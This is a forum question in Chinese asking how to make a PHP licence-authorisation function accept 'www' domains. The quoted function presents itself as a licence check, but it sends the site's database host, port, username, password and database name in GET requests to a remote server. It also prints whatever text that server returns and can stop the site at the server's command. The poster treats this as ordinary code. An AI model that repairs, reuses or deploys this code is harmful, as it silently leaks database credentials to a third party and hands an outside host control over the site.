就会提示未授权。哪位大佬能否帮我看一下这代码能否改成www的也能通过
function OreoClass($oreoconfig){ //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
error_reporting(0);
function getTopDomainhuo(){
$host=$_SERVER['HTTP_HOST'];
$matchstr="[^\.]+\.(?:(".$str.")|\w{2}|((".$str.")\.\w{2}))$";
if(preg_match("/".$matchstr."/ies",$host,$matchs)){
$domain=$matchs['0'];
}else{
$domain=$host;
}
return $domain;
}
$authid="30a483fac"; //这里=后面的字符是在设置授权程序页面配置程序后生成的系统验证码
$domain=getTopDomainhuo();
$real_domain='baidu.com'; //本地检查时 用户的授权域名 和时间
$check_host = 'http://c1.811666.xyz/oreo_look.php'; // http://后是您的域名.
$oreo_check = $check_host . '?a=client_check&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid. '&host=' . $oreoconfig['host']. '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' .$oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
$check_message = $check_host . '?a=check_message&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid.'&host=' . $oreoconfig['host'] . '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' . $oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的数据库链接处的变量定义,吧您的数据库变量替换$oreoconfig。
$oreo_info=file_get_contents($oreo_check);
$oreo_message = file_get_contents($check_message);
if($oreo_info=='1'){
echo $oreo_message;
die;
}elseif($oreo_info=='2'){
echo $oreo_message;
die;
}elseif($oreo_info=='3'){
echo $oreo_message;
die;
}
elseif($oreo_info=='4'){
echo $oreo_message;
die;
}
if($oreo_info!=='0'){ // 远程检查失败的时候 本地检查
if($domain!==$real_domain){
echo '远程检查失败了。请联系授权提供商QQ:10001。';
die;
}
}
unset($domain);
}